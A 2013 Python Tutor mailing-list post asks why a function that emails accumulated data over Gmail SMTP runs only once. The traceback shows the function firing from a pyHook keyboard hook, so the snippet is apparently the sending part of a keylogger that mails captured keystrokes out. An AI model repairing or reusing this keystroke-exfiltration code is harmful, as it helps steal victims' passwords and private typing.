[Tutor] Loop not executing.

Ajin Abraham ajin25 at gmail.com
Tue Apr 30 09:20:02 CEST 2013


Hi,
   I am using a python snippet that will send some data after the data
length reaches a particular length. So it is supposed to loop and
periodically sends the data to an email. i am using smtplib to send
mail. i will attach the code snippet.

def email():
    global data
    if len(data)>50:
        ts = datetime.datetime.now()
        SERVER = "smtp.gmail.com" #Specify Server Here
        PORT = "587" #Specify Port Here
        USER="ajin at gmail.com"#Specify Username Here
        PASS="mypassword"#Specify Password Here
        FROM = USER#From address is taken from username
        TO = ["ajin at gmail.com"] #Specify to address.Use comma if more
than one to address is needed.
        SUBJECT = " Data at: "+str(ts)
        MESSAGE = data
        # formating final email body
        message = """\
From: %s
To: %s
Subject: %s

%s
""" % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
        server = smtplib.SMTP()
        server.connect(SERVER,PORT)
        server.starttls()
        server.login(USER,PASS)
        server.sendmail(FROM, TO, message)
        server.quit()
        print 'Log Send!!'
        data=''
    return True

This function email() is called periodically and is in a loop. the
program just execute once and keep running in the loop without exiting
but the data is mailed only once. i will also attache the Traceback
details:
Traceback (most recent call last):
  File "c:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in Keybo
ardSwitch
    return func(event)
  File "key2.py", line 132, in keypressed
    email()
  File "key2.py", line 83, in email
    server = smtplib.SMTP()
  File "c:\Python27\lib\smtplib.py", line 258, in __init__
    fqdn = socket.getfqdn()
  File "c:\Python27\lib\socket.py", line 142, in getfqdn
    for name in aliases:
TypeError: an integer is required
Log Send!!


I believe someone can help on this matter.

Regards,
Ajin Abraham

Information Security Enthusiast.
www.ajinabraham.com | www.defconkerala.org
www.keralacyberforce.in | +91-9633325997


More information about the Tutor mailing list